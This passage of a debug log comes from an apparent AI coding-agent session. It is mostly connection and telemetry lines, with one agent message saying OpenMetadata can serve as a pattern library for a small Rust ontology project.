model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_Zv4eFOYqwWfWrNbol0wvgym6 tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1405 total_duration_ms=1405\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.039Z] [INFO] 2026-07-12T04:03:09.035113Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:09.039Z] [INFO] \n[2026-07-12T04:03:09.058Z] [INFO] 2026-07-12T04:03:09.057775Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:09.058Z] [INFO] \n[2026-07-12T04:03:09.065Z] [INFO] 2026-07-12T04:03:09.060206Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:09.065Z] [INFO] \n[2026-07-12T04:03:09.071Z] [INFO] 2026-07-12T04:03:09.066218Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:09.071Z] [INFO] \n[2026-07-12T04:03:09.101Z] [INFO] 2026-07-12T04:03:09.100807Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:03:09.101Z] [INFO] \n[2026-07-12T04:03:09.110Z] [INFO] 2026-07-12T04:03:09.109399Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:03:09.109Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.110Z] [INFO] 2026-07-12T04:03:09.109497Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:03:09.109Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.110Z] [INFO] 2026-07-12T04:03:09.109515Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:03:09.110Z] [INFO] \n[2026-07-12T04:03:09.159Z] [INFO] 2026-07-12T04:03:09.156961Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:09.159Z] [INFO] 2026-07-12T04:03:09.157130Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:09 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"9b6fd125-2f55-4388-b8ed-5ef67bc0f86a\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=nEpNzw9GipJfRMhD35715HOTweMPdhy9Me%2FfQSR7Y9Scy8sbRMngmqBm8vTGGChk8VD9Ns3akXeDzfItNF5mTwgM%2FuoYhdk64AAObfCF8czQ3%2FjZavniWpjggXI2\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d280dccd24dc4-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:09.159Z] [INFO] \n[2026-07-12T04:03:10.047Z] [INFO] 2026-07-12T04:03:10.045687Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311fdebf4819188e6eb12d429b891\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxH99DpvxcA2jXEfv9vBTSoSfl4WBBxqevXqMG7-9phHwlXXCky6sAUJqCKY4Oa0jtT4-B7zfeUn8sslqzoyaGdbC3cy8UgUFOZstxgIAJFlHq5E9XVvCDhy7ceUkjL2jQvaqL5-PwWo2x-fjWaP9iZlFHK5jaYNKOfSvODKaNIIkr6iDvrJdCygc0mPBHWlWannSYMUO4L2vA611vmXRUcRv33dmAdzNLQVdZLqXLb2ybi0PJ53IoU8gyUvhKAq-e9Fu_hfAXgst0v8HabjX--DVPl27Fdml32FTMxWwSsVmSubA2UIXgtu8z6XMvRjIvL-pef4EB_AQnPXlhTv8bSNX5ULwyhC87rJqOhh0K4v0GOrb6fs8bYQj4sxGOXFY5-FZfuHrbSJIEj4zerd1FOClwKOd3U3XYZHAhYtEe6-rrMHV3iuVPqF8fTIL4uTQGHqOsR08MG4R0qTamSDsNt1y796TF_W2BZ9AopmolK91L7Fg_IiGltbDvmNAU8V-o9hl0-nsv_HABdewdI0fAhLLltkdvM-wIyb0YM3sSY3cSAFkxmySiWInfKaEr-qko8b056wViYutb90pxhSFhoENeLjj_tm6nVjKvtFNERYWD1MFhmc94ZElWBQKFbaE-Iy2N0kH79mlX-VEV1tUB-ZSZa8v4kbkMCQT99DQsuwFYNaQnOQ-oFty6PrYxBGfoFUzsBGEizLTDsuWhmjqijkqHLN32rRJY2bsnIRM7dDa_LU-wTHedhMFT34ZE7UHHuYsV7d5-FgsnDPmWoeewYryhuWGhT1K4JX356kIwFxZXxlWcR_xXXhdvFBeupDfAEklXsHITF7VthdqecKpbXfvLGT570svzbpkAKxgzdYBUqDiTOhzeTDStVsf1hspCoWpAd86myQVKk3A17XuXnupA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:10.047Z] [INFO] \n[2026-07-12T04:03:13.043Z] [INFO] 2026-07-12T04:03:13.039271Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:03:13.043Z] [INFO] 2026-07-12T04:03:13.039450Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:03:13.043Z] [INFO] 2026-07-12T04:03:13.041732Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=30 time_taken_in_millis=2\n[2026-07-12T04:03:13.043Z] [INFO] \n[2026-07-12T04:03:13.086Z] [INFO] 2026-07-12T04:03:13.044253Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:03:13.086Z] [INFO] 2026-07-12T04:03:13.044317Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:03:13.086Z] [INFO] 2026-07-12T04:03:13.054704Z DEBUG reqwest::connect: starting new connection: https://ab.chatgpt.com/\n[2026-07-12T04:03:13.086Z] [INFO] \n[2026-07-12T04:03:13.120Z] [INFO] 2026-07-12T04:03:13.119409Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:13.120Z] [INFO] \n[2026-07-12T04:03:13.130Z] [INFO] 2026-07-12T04:03:13.130249Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:13.130Z] [INFO] \n[2026-07-12T04:03:13.251Z] [INFO] 2026-07-12T04:03:13.251129Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:03:13.251Z] [INFO] \n[2026-07-12T04:03:13.254Z] [INFO] 2026-07-12T04:03:13.252269Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:03:13.254Z] [INFO] 2026-07-12T04:03:13.252310Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:03:13.254Z] [INFO] 2026-07-12T04:03:13.252351Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59786\n[2026-07-12T04:03:13.254Z] [INFO] \n[2026-07-12T04:03:16.252Z] [INFO] 2026-07-12T04:03:16.250867Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311fdebf4819188e6eb12d429b891\"), summary: [SummaryText { text: \"**Planning documentation and changelog creation**\" }, SummaryText { text: \"**Defining documentation files and changelog**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxIEIxXCiwkCLK_4bBsngGv7urtH3UawmzRoAD_W82EhJYlkhQZlGVjImh1CJS45kCsqpl7KiKWK9uR9nr3SSWpbF9t42XRcg3ozdBxtqZBR5XFkVQDSO85X75G-751hvYZXs5BSxBg1Lhz7iUB-xGAh9Y9S6J1EhKZRhWrvvgvfO0CIuYgMXJ6yPYJ0aj8Di76cHnKVMcrzYalHuGcOs5yNeRu7tLOCxRW-dc5g4YDjYWfvMryCJ2sW1NfPJ7GX6kau5sWdEpy92crerECb28o7BReDahDr-tY9WHNpAXBWVREoDXurO2gQ_2pY73i1IKIY3JNfScdXCzROX7eAR_Nds1OuUk2Qr_TnAztKyblokJJRiC06dCjTTsFK0Iz40zf_INeLRgBLGbJF4vXDGLFOqGb_cJeIH44LQqQ-bjHD3z6zgIq7Yac2rXgpDRs4Jr1qK3a2Q5enJGeRAmJBPCdO2tSrmPaMNkFbyu8bAyujgr287YsEvlROmC_p-mM_jaylwhzjimzgoS5JgPaM1l0LvnWy2jJVybyRbJ0I7il5f1iXKGRcxh1et7Yfb8wfir-ZbNduvM-0B8wqGrxPmLqZ5exu1xEWO1zLijh6lSRzYiUFqgZ_2EXkR25722oTaLfSU6x5JFMcWvCBMzbEYXSwwg2vQ9PjBXWLhWYzWHfj-n_pT5Cr1kJ6dl6l70_zQ9EeYdD7YI2YXwHVrtirZIqZsQD12aAyMWoSlfV8bAqN6P9zSPh9l7W-CH3WGvErCx6rj6opkjIURIZtZAn2xZPs_NyTuHRismuHFp8nbOOTIBMnxKlIoyWvqSKvpZT13RRyOZVMcwEp6kEpsThi-UKOuEJw08CPWbBxDr7qub-cc2lgeOSkW2-PnzvsIaoCQNX-_dCKeRTiwcJaJi11d-EF80wB72w-HfBYQD52jqm6TsxJE51bG3NrPPxN9Uq2BUkCXXWMxj-y2L8EA_fq-PjKdWl9jLo5iITJlkzrq31AG9tDte4sH6Z-BHL7D_9jUoe1T2Xuws5MWJmy8dglibQjw8vxZdhq3dfMeT-nSU7bHknTtlHe-9KpO6K_DEJlsBI6wQJhs3_rIMBHoHBfcZXiV5f1_hn66naMnr7I_pE5gTepGKY74IUzwrYuHCVdVPQz-ORljPVpJ6-sb01yOeawuQxg9NZ069MhfVPcHJBqFsVmdsm2i4g-0ZkUXl3NjkNYbp4qStxDkoY9KK9N5fsUyTmH36GuccusR16Sng2NdhYxzDD7JV3vxpBjW0Mv6H5VuEPDEHfd8XMB5rEOa-Kiy2QJfchjK-fqSnH47f03PiYaOCeUNipE2EHvtSsln0vrWgnEMGBrmJGrwngjpvGYMfibB9dZDCtj9q5VUyUZuLlBu9t6C0eRLcmxmudVmourKKwvNv4MbNYGBsEwMf5T6OEawo26HiICW1RFvXDDp6xrhzUAlObbooFKHrxWY9GzrzmDHJnKA3ptTBO93D67fQFTuK3DCb0tTvFFqJ545kIPGH0TD9orni-uN9ljVMhaCxJuIlCpxFWinlJoq7jF1zJmlZw6vxAMlqFLCjWkfTyvgBYgdwQQm1-_pNW1bI5KYR19lmf5qb6jtb9R2ayf6ssLgb7BBYOAQDTl9k3t6OrA3j5lRs-MOZnyqdDsZ0ij7LqCqCkA63g04TAz0N8eEUbqYX7T1H93i8vBJCysH1jjXmVW8EBmnXvahnyJuPDFNY8EVszduJqJrBgIw0d0Z5F2w9XcVvOR1eY8URB81wPOSJArJ0fSwOkcJiNdNFHJ6MRnLHNJMKJob33Gee7sfKE71n-Wy_JJNGJoAU_HTGFTwBdH4MbeIc14gbAyW2hah3xlkpB-By_uVX_zNpt5pAxBJwaR4um0iI4ep8vaovJO53WvVWiPQF-jo4YOzpal7b77UZYmVrWdAKRCuqwEefjJK4dIRpEVfioYBtOY03RflEeN3ZvW0_4-VOaU1wq976b1px7SRnUiSnN3Lv9-tRNN-ZCbx2kdif5U6wovOp_D3SiRGxaEP6SL442Pl9FaE6_0E8QjGtwubiqnQsVUb13MRf6sch55IxZNwOwx4K1U-igIKFu-U2o2Zssdh6oBBnnWKi1nYIohNfk77I8tEDEQxE0xW0wpNZVcNh5oytTYV4hAuLI0udA5Noi5c7n3imPZWW-DT5YCbQoe9idzfr59lM4jxYMaGsTGcHCf_qJl-mRsprSj2NWQYPZPzVWj3fm_4brMubYYEP-74bYScCurLEwAQtOJqW07Jq12aVY=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:16.252Z] [INFO] \n[2026-07-12T04:03:16.257Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_26\",\"type\":\"reasoning\",\"text\":\"**Planning documentation and changelog creation**\\n**Defining documentation files and changelog**\"}}\n[2026-07-12T04:03:16.257Z] [INFO] \n[2026-07-12T04:03:16.323Z] [INFO] 2026-07-12T04:03:16.322650Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5312043c3c81918c552a7b48278cb3\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:16.323Z] [INFO] \n[2026-07-12T04:03:17.859Z] [INFO] 2026-07-12T04:03:17.857840Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5312043c3c81918c552a7b48278cb3\"), role: \"assistant\", content: [OutputText { text: \"The main design conclusion is becoming clear: OpenMetadata is useful here as a pattern library, not as a dependency or wholesale architecture transplant. The highest-value practices for this small Rust ontology are schema-first validation, stable entity identity, typed relationships, provenance/version history, modular ingestion, and governance hooks; its distributed search/UI/deployment stack would be premature.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:17.859Z] [INFO] \n[2026-07-12T04:03:17.864Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_27\",\"type\":\"agent_message\",\"text\":\"The main design conclusion is becoming clear: OpenMetadata is useful here as a pattern library, not as a dependency or wholesale architecture transplant. The highest-value practices for this small Rust ontology are schema-first validation, stable entity identity, typed relationships, provenance/version history, modular ingestion, and governance hooks; its distributed search/UI/deployment stack would be premature.\"}}\n[2026-07-12T04:03:17.864Z] [INFO] \n[2026-07-12T04:03:17.872Z] [INFO] 2026-07-12T04:03:17.861013Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a531205d8148191b23a61ec83c5bb12\"), status: Some(\"in_progress\"), call_id: \"call_DEIkknavGwraQTaK8nJaBIzd\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:17.872Z] [INFO] \n[2026-07-12T04:04:13.046Z] [INFO] 2026-07-12T04:04:13.039356Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:04:13.046Z] [INFO] 2026-07-12T04:04:13.039496Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:04:13.046Z] [INFO] 2026-07-12T04:04:13.040614Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=2 time_taken_in_millis=1\n[2026-07-12T04:04:13.046Z] [INFO] \n[2026-07-12T04:04:13.053Z] [INFO] 2026-07-12T04:04:13.047914Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:04:13.053Z] [INFO] 2026-07-12T04:04:13.047998Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:04:13.053Z] [INFO] 2026-07-12T04:04:13.048295Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:04:13.053Z] [INFO] \n[2026-07-12T04:04:13.085Z] [INFO] 2026-07-12T04:04:13.085358Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:04:13.085Z] [INFO] 2026-07-12T04:04:13.085512Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:04:13.085Z] [INFO] 2026-07-12T04:04:13.085545Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:04:13.085Z] [INFO] 2026-07-12T04:04:13.085560Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59953\n[2026-07-12T04:04:13.085Z] [INFO] \n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.039577Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.039771Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.040570Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=2 time_taken_in_millis=0\n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.040833Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.040874Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:05:13.047Z] [INFO] \n[2026-07-12T04:05:13.058Z] [INFO] 2026-07-12T04:05:13.043736Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:05:13.058Z] [INFO] \n[2026-07-12T04:05:13.076Z] [INFO] 2026-07-12T04:05:13.073381Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:05:13.076Z] [INFO] \n[2026-07-12T04:05:13.078Z] [INFO] 2026-07-12T04:05:13.077972Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:05:13.078Z] [INFO] 2026-07-12T04:05:13.078034Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:05:13.078Z] [INFO] 2026-07-12T04:05:13.078050Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59961\n[2026-07-12T04:05:13.078Z] [INFO] \n[2026-07-12T04:05:14.111Z] [INFO] 2026-07-12T04:05:14.110870Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:05:14.111Z] [INFO] \n[2026-07-12T04:05:14.132Z] [INFO] 2026-07-12T04:05:14.131708Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:05:14.132Z] [INFO] \n[2026-07-12T04:05:14.147Z] [INFO] 2026-07-12T04:05:14.146852Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:05:14.147Z] [INFO] \n[2026-07-12T04:05:14.151Z] [INFO] 2026-07-12T04:05:14.150892Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:05:14.151Z] [INFO] \n[2026-07-12T04:05:14.279Z] [INFO] 2026-07-12T04:05:14.278785Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_http_client::default_client: Request completed method=GET url=https://chatgpt.com/backend-api/codex/models?client_version=0.144.1 status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:05:14 GMT\", \"content-type\": \"application/json\", \"content-length\": \"274771\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"etag\": \"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"d036c786-6c2b-42ed-abde-6ffcce389f89\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=jB4EpC%2FiH6AkJCYcyNJGjddELtpv8T2L50D6geL%2FnpNx9coQekbSfQ0siX61ev428OLmITLciftBDocGj5W6bwndLxy62Dz3coPwMQBekp5SHj%2FWrkZEXe5pT4KL\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2b1b8a1bdc6c-FRA\"} version=HTTP/1.1\n[2026-07-12T04:05:14.279Z] [INFO] \n[2026-07-12T04:05:14.292Z] [INFO] 2026-07-12T04:05:14.292050Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:05:14.292Z] [INFO] \n[2026-07-12T04:05:14.298Z] [INFO] 2026-07-12T04:05:14.296309Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.log_only: event.name=\"codex.api_request\" duration_ms=164 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true 